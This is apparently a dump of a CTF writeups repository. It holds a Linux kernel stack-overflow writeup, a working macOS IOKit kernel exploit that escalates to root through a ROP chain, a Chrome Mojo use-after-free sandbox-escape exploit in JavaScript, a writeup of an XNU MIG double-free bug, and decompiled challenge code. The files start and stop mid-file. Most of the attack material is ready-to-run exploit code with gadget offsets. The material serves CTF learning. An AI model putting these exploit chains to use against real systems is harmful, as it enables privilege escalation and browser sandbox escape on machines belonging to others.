`careless_read` 43 | 44 | - Write to it, the kernel module will copy our data to the kernel stack memory for us with the function `careless_write` :) 45 | 46 | - Both of them perform `copy_from_user/copy_to_user` for all of the input to an one-byte sized stack variable 47 | 48 | - This is a Simple Buffer-Overflow... but at _Kernel_ level. 49 | 50 | ### Protection : 51 | 52 | - kASLR (kernel level Address Space Layout Randomization) 53 | 54 | - SMEP (Supervisor Mode Execution Protection) : Preventing Ring 0 from fetching instruction from userspace memory 55 | 56 | - Kernel Stack Cookies (Canary) 57 | 58 | ## Exploit Vector : 59 | **From kernel, we need to call `commit_creds(prepare_kernel_cred(0))` to elevate privilege to r00t then return safely to userspace.** 60 | 61 | - At first, we read kernel stack memory from `/proc/havoc` to have some informations 62 | 63 | - All important ones are located from offset 1. Below this the data layout from offset 1. 64 | 65 | ``` 66 | --------------------------- 67 | | Stack Canary | 68 | --------------------------- 69 | | Saved RBX | 70 | --------------------------- 71 | | Saved RBP | 72 | --------------------------- 73 | | Saved RIP | 74 | --------------------------- 75 | ``` 76 | 77 | - Based on this, we can easily defeat Stack Canary and kASLR 78 | 79 | - Kernel ASLR can be defeated by calculating saved RIP offset. 80 | 81 | - Last job is to elevate to r00t and then safely return back. 82 | 83 | + Although there aren't usable gadget `mov rdi, rax` to manipulate `prepare_kernel_cred` result for `commit_creds`, 84 | But RAX is the same with RDI after the call for some reason so we can skip that gadget. 85 | 86 | + Finally do `SWAPGS` then `IRETQ` (interrupt return) to return to our exploit program from Kernel. 87 | 88 | IRETQ is responsible for recovering RIP, CS, RFLAGS, RSP, SS, Specifically, it will pop from stack like this figure. 89 | 90 | ``` 91 | 92 | |--------------------------| 93 | | Low mem addr | ^ 94 | |--------------------------| | 95 | | RIP | | 96 | |--------------------------| | 97 | | CS | | 98 | |--------------------------| | 99 | | EFLAGS | | 100 | |--------------------------| | 101 | | RSP | | 102 | |--------------------------| | 103 | | SS | | 104 | |--------------------------| | 105 | | High mem addr | | 106 | |--------------------------| | 107 | 108 | ``` 109 | 110 | ### Notes & Issue 111 | 112 | + When `IRETQ` back, I got `SIGSEGV` on every single instruction RIP is pointed to :< 113 | 114 | So I used a cool dirty trick to handle is to handle signal SIGSEGV with a function that calls `system("/bin/sh")` :)) 115 | 116 | + ret2usr can't be used since Linux 4.15, all userspace memory in kernel will be mapped as non-executable 117 | + `SIGSEGV` when `iretq` is caused by KPTI(Kernel Page Table Isolation) (a.k.a KAISER) which appeared since 4.15 as a patch for Meltdown 118 | (Can be resolved by patching CR3?) 119 | 120 | + Everything else should be found from `exploit.c` file 121 | 122 | ## Gotchas :) 123 | + Source is available within the distribution in `/home/nyan` 124 | 125 | ## Reference 126 | 127 | [Distribution](https://drive.google.com/file/d/1V4OtrqzHZc7TUr4h0VUGprnHcAoo5kp-/edit) 128 | 129 | [ROP your way to Kernel part 1](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/linux-kernel-rop-ropping-your-way-to-part-1/) 130 | 131 | [ROP your way to Kernel part 2](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/linux-kernel-rop-ropping-your-way-to-part-2/) 132 | 133 | [Practical SMEP bypass techniques on Linux](https://cyseclabs.com/slides/smep_bypass.pdf) 134 | 135 | All 3 from Vitaly Nikolenko :O 136 | 137 | [Changes in Linux Kernel](https://outflux.net/blog/archives/2018/02/05/security-things-in-linux-v4-15/) 138 | 139 | 140 | 141 | -------------------------------------------------------------------------------- /DEFCON26-Qual/iPwnKit/exploit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #define kOpenUserClient 0 9 | #define kCloseUserClient 1 10 | #define kSayHi 2 11 | #define kReadNum 3 12 | #define kWriteNum 4 13 | #define kFillArray 5 14 | #define kIOKitClassName "io_oooverflow_IPwnKit" 15 | #define KERNEL_BASE_NO_SLID 0xFFFFFF8000100000ULL 16 | io_connect_t connection; 17 | kern_return_t OpenUserClient(void){ 18 | return IOConnectCallScalarMethod(connection,kOpenUserClient,0,0,0,0); 19 | } 20 | kern_return_t CloseUserClient(void){ 21 | return IOConnectCallScalarMethod(connection,kCloseUserClient,0,0,0,0); 22 | } 23 | kern_return_t SayHi(void){ 24 | return IOConnectCallScalarMethod(connection,kSayHi,0,0,0,0); 25 | } 26 | const char pattern[] = "AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABY"; 27 | struct result{ 28 | int64_t idx; 29 | int64_t res; 30 | } out; 31 | struct args{ 32 | int64_t idx; 33 | int64_t res; 34 | int64_t reserved[100000]; 35 | } Args; 36 | pthread_t racer,racer2; 37 | void handler(void){ 38 | pthread_exit(0); 39 | } 40 | void Race2(int idx){ 41 | signal(SIGUSR1,handler); 42 | while(out.idx!=idx){ 43 | Args.idx=idx; 44 | Args.idx=0x4f; 45 | } 46 | pthread_exit(0); 47 | } 48 | int64_t ReadNum(int64_t idx){ 49 | Args.idx=idx; 50 | int64_t outCnt=2; 51 | assert(0==pthread_create(&racer2,0,Race2,idx)); 52 | kern_return_t kr; 53 | do{ 54 | kr = IOConnectCallMethod(connection,kReadNum,0,0,&Args,sizeof(Args),&out,&outCnt,0,0); 55 | }while(kr||out.idx!=idx); 56 | return out.res; 57 | } 58 | int64_t WriteNum(int64_t idx,int64_t value){ 59 | Args.idx=idx; 60 | Args.res=value; 61 | int64_t outCnt=2; 62 | assert(0==pthread_create(&racer2,0,Race2,idx)); 63 | kern_return_t kr; 64 | do{ 65 | kr = IOConnectCallMethod(connection,kWriteNum,0,0,&Args,sizeof(Args),&out,&outCnt,0,0); 66 | }while(kr||out.idx!=idx); 67 | return out.res; 68 | } 69 | kern_return_t FillArray(int64_t* array,int64_t len){ 70 | memcpy(&Args,array,len); 71 | kern_return_t kr=kIOReturnBadArgument; 72 | int64_t outCnt=1; 73 | do{ 74 | kr = IOConnectCallMethod(connection,kFillArray,0,0,&Args,sizeof(Args),&out,&outCnt,0,0); 75 | }while(kr==kIOReturnBadArgument); 76 | return kr; 77 | } 78 | void IPwnConnect() { 79 | kern_return_t kr; 80 | mach_port_t masterPort; 81 | io_service_t serviceObject; 82 | io_iterator_t iterator; 83 | CFDictionaryRef classToMatch; 84 | 85 | kr = IOMasterPort(MACH_PORT_NULL, &masterPort); 86 | if (kr != KERN_SUCCESS) { 87 | printf("IOMasterPort returned %d\n", kr); 88 | exit(-1); 89 | } 90 | 91 | classToMatch = IOServiceMatching(kIOKitClassName); 92 | if (classToMatch == NULL) { 93 | printf("IOServiceMatching returned a NULL dictionary\n"); 94 | exit(-1); 95 | } 96 | 97 | kr = IOServiceGetMatchingServices(masterPort, classToMatch, &iterator); 98 | if (kr != KERN_SUCCESS) { 99 | printf("IOServiceGetMatchingServices returned %d\n", kr); 100 | exit(-1); 101 | } 102 | 103 | serviceObject = IOIteratorNext(iterator); 104 | IOObjectRelease(iterator); 105 | if (!serviceObject) { 106 | printf("No service found\n"); 107 | exit(-1); 108 | } 109 | 110 | kr = IOServiceOpen(serviceObject, mach_task_self(), 0, &connection); 111 | IOObjectRelease(serviceObject); 112 | if (kr != KERN_SUCCESS) { 113 | printf("IOServiceOpen returned %d\n", kr); 114 | exit(-1); 115 | } 116 | }// Thanks @LinusHenze 117 | uint64_t GetKextAddr() { 118 | FILE *fp; 119 | char line[4096]; 120 | 121 | fp = popen("kextstat | grep io.oooverflow.IPwnKit | awk '{print $3}'","r"); 122 | if(fp == NULL) { 123 | printf("Failed to get KEXT address!\n"); 124 | exit(-1); 125 | } 126 | fgets(line, sizeof(line)-1, fp); 127 | uint64_t addr = (uint64_t) strtoul(line, NULL, 16); 128 | fclose(fp); 129 | return addr; 130 | } 131 | int main(int argc, char *argv[]) { 132 | IPwnConnect(); 133 | OpenUserClient(); 134 | SayHi(); 135 | int64_t leaked = ReadNum(-30); 136 | int64_t slide = leaked-GetKextAddr()-0x2070; 137 | int64_t base = KERNEL_BASE_NO_SLID + slide; 138 | printf("[*] Kernel Text Base 0x%llx\n",base); 139 | printf("[*] Kernel Slide 0x%llx\n",slide); 140 | printf("[*] Corrupting copy length value with:%lld\n",WriteNum(-1,28LL<<32)>>32); 141 | puts("[*] Smashing the kernel stack for root"); 142 | unsigned long long ropchain[] ={//put this at offset 14*8 so we can check rbp for magic value 143 | 0xdeadbeecULL, 144 | slide + 0xffffff80009c20c0,//current_proc 145 | slide + 0xffffff800056eaf3,//pop rcx ; ret 146 | slide + 0xffffff80008c3fb0,//proc_ucred 147 | slide + 0xffffff80009e5926,//mov rdi, rax ; pop rbp ; jmp rcx 148 | 0xdeadbeedULL, 149 | slide + 0xffffff800056eaf3,//pop rcx ; ret 150 | slide + 0xffffff800088ab70,//posix_cred_get 151 | slide + 0xffffff80009e5926,//mov rdi, rax ; pop rbp ; jmp rcx 152 | 0xdeadbeeeULL, 153 | slide + 0xffffff8000a890cd, // mov qword ptr [rax + 8], 0 ; pop rbp ; ret 154 | 0xdeadbeefULL, 155 | slide + 0xffffff800035adca//thread_exception_return 156 | }; 157 | int64_t* payload = malloc(224); 158 | memcpy(payload,pattern,224); 159 | memcpy(payload+14,ropchain,sizeof(ropchain)); 160 | FillArray(payload,224); 161 | CloseUserClient(); 162 | setuid(0); 163 | setuid(0); 164 | //system("/bin/sh"); 165 | system("cat /var/root/flag"); 166 | } 167 | -------------------------------------------------------------------------------- /WhiteHatGrandPrix06/Pwn01/scull-vuln/scull.h: -------------------------------------------------------------------------------- 1 | /* 2 | * scull.h -- definitions for the char module 3 | * 4 | * Copyright (C) 2001 Alessandro Rubini and Jonathan Corbet 5 | * Copyright (C) 2001 O'Reilly & Associates 6 | * 7 | * The source code in this file can be freely used, adapted, 8 | * and redistributed in source or binary form, so long as an 9 | * acknowledgment appears in derived source files. The citation 10 | * should list that the code comes from the book "Linux Device 11 | * Drivers" by Alessandro Rubini and Jonathan Corbet, published 12 | * by O'Reilly & Associates. No warranty is attached; 13 | * we cannot take responsibility for errors or fitness for use. 14 | * 15 | * $Id: scull.h,v 1.15 2004/11/04 17:51:18 rubini Exp $ 16 | */ 17 | 18 | #ifndef _SCULL_H_ 19 | #define _SCULL_H_ 20 | 21 | #include /* needed for the _IOW etc stuff used later */ 22 | 23 | /* 24 | * Macros to help debugging 25 | */ 26 | 27 | #undef PDEBUG /* undef it, just in case */ 28 | #ifdef SCULL_DEBUG 29 | # ifdef __KERNEL__ 30 | /* This one if debugging is on, and kernel space */ 31 | # define PDEBUG(fmt, args...) printk( KERN_DEBUG "scull: " fmt, ## args) 32 | # else 33 | /* This one for user space */ 34 | # define PDEBUG(fmt, args...) fprintf(stderr, fmt, ## args) 35 | # endif 36 | #else 37 | # define PDEBUG(fmt, args...) /* not debugging: nothing */ 38 | #endif 39 | 40 | #undef PDEBUGG 41 | #define PDEBUGG(fmt, args...) /* nothing: it's a placeholder */ 42 | 43 | #ifndef SCULL_MAJOR 44 | #define SCULL_MAJOR 0 /* dynamic major by default */ 45 | #endif 46 | 47 | #ifndef SCULL_NR_DEVS 48 | #define SCULL_NR_DEVS 4 /* scull0 through scull3 */ 49 | #endif 50 | 51 | #ifndef SCULL_P_NR_DEVS 52 | #define SCULL_P_NR_DEVS 4 /* scullpipe0 through scullpipe3 */ 53 | #endif 54 | 55 | /* 56 | * The bare device is a variable-length region of memory. 57 | * Use a linked list of indirect blocks. 58 | * 59 | * "scull_dev->data" points to an array of pointers, each 60 | * pointer refers to a memory area of SCULL_QUANTUM bytes. 61 | * 62 | * The array (quantum-set) is SCULL_QSET long. 63 | */ 64 | #ifndef SCULL_QUANTUM 65 | #define SCULL_QUANTUM 4000 66 | #endif 67 | 68 | #ifndef SCULL_QSET 69 | #define SCULL_QSET 1000 70 | #endif 71 | 72 | /* 73 | * The pipe device is a simple circular buffer. Here its default size 74 | */ 75 | #ifndef SCULL_P_BUFFER 76 | #define SCULL_P_BUFFER 2000 77 | #endif 78 | 79 | /* 80 | * Representation of scull quantum sets. 81 | */ 82 | struct scull_qset { 83 | void **data; 84 | struct scull_qset *next; 85 | }; 86 | 87 | struct scull_dev { 88 | struct scull_qset *data; /* Pointer to first quantum set */ 89 | int quantum; /* the current quantum size */ 90 | int qset; /* the current array size */ 91 | unsigned long size; /* amount of data stored here */ 92 | unsigned int access_key; /* used by sculluid and scullpriv */ 93 | struct mutex lock; /* mutual exclusion semaphore */ 94 | struct cdev cdev; /* Char device structure */ 95 | }; 96 | 97 | /* 98 | * Split minors in two parts 99 | */ 100 | #define TYPE(minor) (((minor) >> 4) & 0xf) /* high nibble */ 101 | #define NUM(minor) ((minor) & 0xf) /* low nibble */ 102 | 103 | 104 | /* 105 | * The different configurable parameters 106 | */ 107 | extern int scull_major; /* main.c */ 108 | extern int scull_nr_devs; 109 | extern int scull_quantum; 110 | extern int scull_qset; 111 | 112 | // extern int scull_p_buffer; /* pipe.c */ removed 113 | 114 | 115 | /* 116 | * Prototypes for shared functions 117 | */ 118 | 119 | int scull_p_init(dev_t dev); 120 | void scull_p_cleanup(void); 121 | int scull_access_init(dev_t dev); 122 | void scull_access_cleanup(void); 123 | 124 | int scull_trim(struct scull_dev *dev); 125 | 126 | ssize_t scull_read(struct file *filp, char __user *buf, size_t count, 127 | loff_t *f_pos); 128 | ssize_t scull_write(struct file *filp, const char __user *buf, size_t count, 129 | loff_t *f_pos); 130 | loff_t scull_llseek(struct file *filp, loff_t off, int whence); 131 | long scull_ioctl(struct file *filp, unsigned int cmd, unsigned long arg); 132 | 133 | 134 | /* 135 | * Ioctl definitions 136 | */ 137 | 138 | /* Use 'k' as magic number */ 139 | #define SCULL_IOC_MAGIC 'k' 140 | /* Please use a different 8-bit number in your code */ 141 | 142 | #define SCULL_IOCRESET _IO(SCULL_IOC_MAGIC, 0) 143 | 144 | /* 145 | * S means "Set" through a ptr, 146 | * T means "Tell" directly with the argument value 147 | * G means "Get": reply by setting through a pointer 148 | * Q means "Query": response is on the return value 149 | * X means "eXchange": switch G and S atomically 150 | * H means "sHift": switch T and Q atomically 151 | */ 152 | #define SCULL_IOCSQUANTUM _IOW(SCULL_IOC_MAGIC, 1, int) 153 | #define SCULL_IOCSQSET _IOW(SCULL_IOC_MAGIC, 2, int) 154 | #define SCULL_IOCTQUANTUM _IO(SCULL_IOC_MAGIC, 3) 155 | #define SCULL_IOCTQSET _IO(SCULL_IOC_MAGIC, 4) 156 | #define SCULL_IOCGQUANTUM _IOR(SCULL_IOC_MAGIC, 5, int) 157 | #define SCULL_IOCGQSET _IOR(SCULL_IOC_MAGIC, 6, int) 158 | #define SCULL_IOCQQUANTUM _IO(SCULL_IOC_MAGIC, 7) 159 | #define SCULL_IOCQQSET _IO(SCULL_IOC_MAGIC, 8) 160 | #define SCULL_IOCXQUANTUM _IOWR(SCULL_IOC_MAGIC, 9, int) 161 | #define SCULL_IOCXQSET _IOWR(SCULL_IOC_MAGIC,10, int) 162 | #define SCULL_IOCHQUANTUM _IO(SCULL_IOC_MAGIC, 11) 163 | #define SCULL_IOCHQSET _IO(SCULL_IOC_MAGIC, 12) 164 | 165 | /* 166 | * The other entities only have "Tell" and "Query", because they're 167 | * not printed in the book, and there's no need to have all six. 168 | * (The previous stuff was only there to show different ways to do it. 169 | */ 170 | #define SCULL_P_IOCTSIZE _IO(SCULL_IOC_MAGIC, 13) 171 | #define SCULL_P_IOCQSIZE _IO(SCULL_IOC_MAGIC, 14) 172 | /* ... more to come */ 173 | #define SCULL_IOCSHIFT _IO(SCULL_IOC_MAGIC, 15) 174 | 175 | 176 | #ifdef SCULL_DEBUG 177 | 178 | // ioctl for debugging 179 | #define SCULL_TEST_SKB _IO(SCULL_IOC_MAGIC, 16) 180 | #define SCULL_TEST_SMT _IO(SCULL_IOC_MAGIC, 17) 181 | 182 | #endif 183 | 184 | #define SCULL_IOC_MAXNR 17 185 | 186 | #endif /* _SCULL_H_ */ 187 | -------------------------------------------------------------------------------- /PlaidCTF2020/pwn.js: -------------------------------------------------------------------------------- 1 | async function a() { 2 | /* 3 | Leaking chrome base. 4 | +void PlaidStoreImpl::GetData( 5 | + const std::string &key, 6 | + uint32_t count, 7 | + GetDataCallback callback) { 8 | + if (!render_frame_host_->IsRenderFrameLive()) { 9 | + std::move(callback).Run({}); 10 | + return; 11 | + } 12 | + auto it = data_store_.find(key); 13 | + if (it == data_store_.end()) { 14 | + std::move(callback).Run({}); 15 | + return; 16 | + } 17 | + std::vector result(it->second.begin(), it->second.begin() + count);//Lacking of bound-checking (count)-> OOB-Read 18 | + std::move(callback).Run(result); 19 | +} 20 | Downthere, I store a 0x40 arrays of (0x28*8 bytes) to the plaidstore, while attempt to allocate PlaidStores. 21 | PlaidStoreImpl objects will have a pointer to vtable at offset 0 and render_frame_host_ at offset 8 22 | content::PlaidStoreImpl::PlaidStoreImpl is the constructor; it will set the vtable 23 | chrome[0x3c584a8] <+24>: call 0x57044b0 ; operator new(unsigned long) 24 | chrome[0x3c584ad] <+29>: lea rcx, [rip + 0x635e2ec] ; vtable for content::PlaidStoreImpl + 16 25 | chrome[0x3c584b4] <+36>: mov qword ptr [rax], rcx 26 | >>> hex(0x3c584b4+0x635e2ec) 27 | '0x9fb67a0' -> the pointer(unslided) will be stored at offset 0 28 | Or (lldb) image lookup -r -v -s "vtable for content::PlaidStoreImpl" 29 | So we should find the pointer that looks like 0x5x..7a0 30 | The next 8 bytes will be the pointer to our render frame host. 31 | */ 32 | var stores = []; 33 | let p = blink.mojom.PlaidStore.getRemote(true); 34 | for(let i = 0;i< 0x40; i++ ){ 35 | await p.storeData("yeet"+i,new Uint8Array(0x28).fill(0x41)); 36 | stores[i] = blink.mojom.PlaidStore.getRemote(true); 37 | } 38 | let chromeBase = 0; 39 | let renderFrameHost = 0; 40 | for(let i = 0;i<0x40&&chromeBase==0;i++){ 41 | let d = (await p.getData("yeet"+i,0x200)).data; 42 | let u8 = new Uint8Array(d) 43 | let u64 = new BigInt64Array(u8.buffer); 44 | for(let j = 5;j size = 0xc28 65 | */ 66 | /* 67 | //content::PlaidStoreImpl::StoreData 68 | chrome[0x3c581da] <+26>: mov rdi, qword ptr [rdi + 0x8] //rdi = this->render_frame_host_ 69 | chrome[0x3c581de] <+30>: mov rax, qword ptr [rdi]//rax = vtable 70 | chrome[0x3c581e1] <+33>: call qword ptr [rax + 0x160]//call vtable->IsRenderFrameLive 71 | UAF render_frame_host_ field, crafted vtable, RIP 72 | Because we can leak RenderFrameHost address, put crafted vtable and the stuffs that we need address in 0xc28 bytes of the fake object 73 | */ 74 | /* 75 | Now, we could build a ROP chain. 76 | 0x9eff010: execve@plt 77 | 0x9eff020: execv@plt 78 | 0x9efca30: execvp@plt 79 | 0x000000000880dee8 : xchg rax, rsp ; clc ; pop rbp ; ret 80 | 0x0000000008d08a16 : xor rsi, rsi ; pop rbp ; jmp rax 81 | 0x0000000002e651dd : pop rax ; ret 82 | 0x0000000002e4630f : pop rdi ; ret 83 | */ 84 | var frameData = new ArrayBuffer(kRenderFrameHostSize); 85 | var frameData8 = new Uint8Array(frameData).fill(0x0); 86 | var frameDataView = new DataView(frameData) 87 | var ropChainView = new BigInt64Array(frameData,0x10); 88 | frameDataView.setBigInt64(0x160+0x10,chromeBase + 0x880dee8n,true); //xchg rax, rsp 89 | frameDataView.setBigInt64(0x180, 0x2f686f6d652f6368n,false); 90 | frameDataView.setBigInt64(0x188, 0x726f6d652f666c61n,false); 91 | frameDataView.setBigInt64(0x190, 0x675f7072696e7465n,false);// /home/chrome/flag_printer\0; big-endian 92 | frameDataView.setBigInt64(0x198, 0x7200000000000000n,false);// /home/chrome/flag_printer\0; big-endian 93 | ropChainView[0] = 0xdeadbeefn; // RIP rbp :< 94 | ropChainView[1] = chromeBase + 0x2e4630fn; //pop rdi; 95 | ropChainView[2] = 0x4141414141414141n; // frameaddr+0x180 96 | ropChainView[3] = chromeBase + 0x2e651ddn; // pop rax; 97 | ropChainView[4] = chromeBase + 0x9efca30n; // execve@plt 98 | ropChainView[5] = chromeBase + 0x8d08a16n; // xor rsi, rsi; pop rbp; jmp rax 99 | ropChainView[6] = 0xdeadbeefn; // rbp 100 | //Constrait: rdx = 0; rdi pointed to ./flag_reader\0 101 | var allocateFrame = () =>{ 102 | var frame = document.createElement("iframe"); 103 | frame.src = "/iframe.html" 104 | document.body.appendChild(frame); 105 | return frame; 106 | } 107 | var frame = allocateFrame(); 108 | frame.contentWindow.addEventListener("DOMContentLoaded",async ()=>{ 109 | if(!(await frame.contentWindow.leak())){ 110 | console.log("frame leak failed!"); 111 | return 112 | } 113 | if(frame.contentWindow.chromeBase!=chromeBase){ 114 | console.log("different chrome base!! wtf!") 115 | return 116 | } 117 | var frameAddr = frame.contentWindow.renderFrameHost; 118 | console.log("frame addr:0x"+frameAddr.toString(16)); 119 | frameDataView.setBigInt64(0,frameAddr+0x10n,true); //vtable/ rax 120 | ropChainView[2] = frameAddr + 0x180n; 121 | //stashing the pointer of iframe. 122 | var frameStore = frame.contentWindow.p; 123 | //freeeee 124 | frame.remove(); 125 | frame = 0; 126 | var arr = []; 127 | //Reallocate of RenderFrameHost with our controlled data. 128 | for(let i = 0;i< 0x400;i++){ 129 | await p.storeData("bruh"+i,frameData8); 130 | } 131 | //go go 132 | await frameStore.getData("yeet0",0); 133 | 134 | }); 135 | } 136 | 137 | document.addEventListener("DOMContentLoaded",()=>{a();}); 138 | -------------------------------------------------------------------------------- /35c3/pillow/index.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "35C3 CTF Pillow" 3 | date: 2019-02-15T00:47:48+07:00 4 | Tags: ["35C3-CTF", "CTF", "pwn", "xnu", "mach", "mig"] 5 | Language: ["English"] 6 | --- 7 | 8 | Pillow 9 | ====== 10 | 11 | ## Background 12 | This is the writeup for the challenge Pillow, created by Samuel Groß(@saelo) of Project Zero, of 35C3 CTF annually organized by @EatSleepPwnRpt happening at the end of year 2018. 13 | 14 | I didn't solve this challenge during the CTF, when revisiting this challenge after checkout @LinusHenze repo, I have a big learning oppuntunity to checkout XNU exploitation, which was completely new to me. 15 | 16 | You may want to checkout the [exploit code](https://github.com/TrungNguyen1909/writeups/tree/master/35c3/pillow) 17 | 18 | ## Basic stuff 19 | Feel free to skip this part if you have already had a basic knowledge in Mach. 20 | ### Mach 21 | Mach 3.0 was originally conceived as a simple, extensible, communications microkernel. It is capable of running as a stand-alone kernel, with other traditional operating-system services such as I/O, file systems, and networking stacks running as user-mode servers. 22 | 23 | Mach is used to _send messages_ or do _remote procedure_ calls (RPC) between separate tasks. This modular structure results in a more robust and extensible system than a monolithic kernel would allow, without the performance penalty of a pure microkernel. 24 | 25 | [More information](https://developer.apple.com/library/archive/documentation/Darwin/Conceptual/KernelProgramming/Mach/Mach.html) 26 | 27 | ### Mach Port 28 | In Mach kernel, port is a very important concept, especially at its reference counting. 29 | 30 | Port is a **one-way** transmission channel. The corresponding object in kernel is the `ipc_port`. 31 | 32 | There can only be one receiver but there can be multiple senders. 33 | 34 | To be able to send a message through a port, you must have a send right to it. 35 | 36 | When sending and receiving mach messages from userspace there are two important kernel objects, which are the foundation of Mach Port: ipc_entry and 37 | ipc_object. 38 | 39 | > `ipc_entry` are the per-process handles or names which a process uses to refer to a particular ipc_object. 40 | 41 | > `ipc_object` is the actual message queue (or kernel object) which the port refers to. 42 | 43 | > `ipc_entry` have a pointer to the `ipc_object` they are a handle for along with the ie_bits field which contains 44 | the urefs and capacility bits for this name/handle (whether this is a send right, receive right etc.) 45 | 46 | > Each time a new right(send or receive) is received by a process, if it already had a name for that right the kernel will 47 | increment the urefs count. Userspace can also arbitrarily control this reference count via `mach_port_mod_refs` 48 | and `mach_port_deallocate`. When the reference count hits 0 the entry is free'd and the name can be **re-used** to 49 | name another right. 50 | 51 | > -Ian Beer(@i41nbeer) of Google Project Zero- 52 | 53 | > [Source](https://bugs.chromium.org/p/project-zero/issues/detail?id=959) 54 | 55 | Port has two different usage. The first is for inter-process-communication (IPC); the second is for representing a kernel object. 56 | 57 | For this writeup, we will only focus on IPC usage. 58 | 59 | ### MIG 60 | > In Apple's code, there is one called MIG, which is automatically generated according to the defs file. It usually does some inter-core object conversion (such as from port to kernel object) and object reference count management, and then call the real kernel functions. If the kernel developer is not familiar with the meaning of defs or MIG's management of object reference counts, there is high possibility to manage the reference counts of the kernel objects improperly in the real kernel API of this MIG package, thus causing leaks of the reference counts or double free. 61 | 62 | > -Qixun Zhao(@S0rryMybad) of Qihoo 360 Vulcan Team- 63 | 64 | 65 | ## Challenge 66 | The distribution gives you 4 files, 2 Launch Daemons config and 2 executable act at daemon. 67 | 68 | shelld looks promising, there is a function shell_exec with call an arbitrary command after do some verification with capsd 69 | ## Bug 70 | 71 | shelld 72 | 73 | ```c 74 | kern_return_t register_completion_listener(mach_port_t server, const char* session_name, mach_port_t listener, audit_token_t client) { 75 | CFMutableDictionaryRef session = lookup_session(session_name, client); 76 | if (!session) { 77 | mach_port_deallocate(mach_task_self(), listener); 78 | return KERN_FAILURE; 79 | } 80 | 81 | CFNumberRef value = CFNumberCreate(kCFAllocatorDefault, kCFNumberSInt32Type, &listener); 82 | CFDictionaryAddValue(session, CFSTR("listener"), value); 83 | CFRelease(value); 84 | 85 | return KERN_SUCCESS; 86 | } 87 | ``` 88 | 89 | This function is called by the MIG server. 90 | 91 | The problem is that it does not respect the MIG schematics 92 | 93 | > If a MIG method returns KERN_SUCCESS it means that the method took ownership of *all* the arguments passed to it. 94 | > If a MIG method returns an error code, then it took ownership of *none* of the arguments passed to it. 95 | [Source](https://bugs.chromium.org/p/project-zero/issues/detail?id=1417) 96 | 97 | What does it mean that if the function return `KERN_SUCCESS`, it is responsible to manage all the resources passed in. 98 | 99 | Otherwise, MIG will responsible for freeing all of it. 100 | 101 | By `mach_port_deallocate`, the listener port will be double-freed (by the function and MIG) and the uref(userspace-reference count) will be decreased. 102 | 103 | When the uref reaches zero, it means that all connection to that port is deallocated, the port will be freed and be reused later 104 | 105 | > When the receive right/port have already have a reference(name) in the task, the uref will be increased by one 106 | > and decreased by one when it is deallocated 107 | 108 | ### Exploitation 109 | If we pass in the capsd port to the listener and an invalid session, the port that shelld communicates with capsd will be freed and we can attach our port to it by using `register_completion_handler`. 110 | 111 | => IPC Man-in-the-middle 112 | 113 | One more thing, even if we have passed capsd check, we still have the macOS Sandbox enforced to a session-name 114 | To bypass this, we create a session with a super long name, then the sandbox will refused to enforce due to long path. 115 | 116 | => Arbitrary Code Execution outside the sandbox. 117 | 118 | Other technical/implementation is noted in the exploit.c, please check it out. 119 | 120 | ## Reference 121 | 122 | [Official Source Code](https://github.com/saelo/35c3ctf/tree/master/pillow) 123 | 124 | [Reference](https://github.com/LinusHenze/35C3_Writeups/tree/master/pillow) 125 | 126 | 127 | -------------------------------------------------------------------------------- /AceBear2019/house_of_loop/house_of_loop.c: -------------------------------------------------------------------------------- 1 | /* This file has been generated by the Hex-Rays decompiler. 2 | Copyright (c) 2007-2017 Hex-Rays 3 | 4 | Detected compiler: GNU C++ 5 | */ 6 | 7 | #include 8 | 9 | struct note{ 10 | char private[96]; 11 | char title[32]; 12 | char* data; 13 | note* next_note; 14 | }; 15 | 16 | //------------------------------------------------------------------------- 17 | // Data declarations 18 | 19 | note *first_note; 20 | 21 | 22 | 23 | //----- (0000000000000A8A) ---------------------------------------------------- 24 | __int64 __fastcall read_wrapper(void *a1, unsigned int a2) 25 | { 26 | unsigned int v3; // [rsp+1Ch] [rbp-4h] 27 | 28 | v3 = read(0, a1, a2); 29 | if ( (v3 & 0x80000000) != 0 ) 30 | { 31 | puts("Go away, Hacker!!!"); 32 | exit(0); 33 | } 34 | if ( *((_BYTE *)a1 + (signed int)v3 - 1) == 10 ) 35 | *((_BYTE *)a1 + (signed int)v3 - 1) = 0; 36 | return v3; 37 | } 38 | 39 | //----- (0000000000000B00) ---------------------------------------------------- 40 | int read_int() 41 | { 42 | char nptr; // [rsp+0h] [rbp-20h] 43 | unsigned __int64 v2; // [rsp+18h] [rbp-8h] 44 | 45 | v2 = __readfsqword(0x28u); 46 | read_wrapper(&nptr, 0x10u); 47 | return atoi(&nptr); 48 | } 49 | 50 | //----- (0000000000000B4F) ---------------------------------------------------- 51 | void __noreturn handler() 52 | { 53 | puts("Time out!"); 54 | exit(0); 55 | } 56 | 57 | //----- (0000000000000B69) ---------------------------------------------------- 58 | unsigned int setup() 59 | { 60 | setbuf(stdin, 0LL); 61 | setbuf(stdout, 0LL); 62 | setbuf(stderr, 0LL); 63 | signal(14, (__sighandler_t)handler); 64 | return alarm(60u); 65 | } 66 | 67 | //----- (0000000000000BD1) ---------------------------------------------------- 68 | int intro() 69 | { 70 | return puts( 71 | "*******************************************************************************\n" 72 | "* *\n" 73 | "* * * * * * * * * * * * * * * * * * * *\n" 74 | "* * * * * * * * * * * * *\n" 75 | "* * * * * * * * * * * * * * * * * * * * *\n" 76 | "* * * * * * * * * * * * *\n" 77 | "* * * * * * * * * * * * * * * * * * * * *\n" 78 | "* *\n" 79 | "*************************Challenge Created By chung96vn************************\n" 80 | "* Team: AceBear *\n" 81 | "* My github: https://github.com/chung96vn/ *\n" 82 | "*******************************************************************************"); 83 | } 84 | 85 | //----- (0000000000000BE4) ---------------------------------------------------- 86 | int menu() 87 | { 88 | puts("\n************************************************"); 89 | puts("* *"); 90 | puts("* 1 - Add Note *"); 91 | puts("* 2 - View Note *"); 92 | puts("* 3 - Del Note *"); 93 | 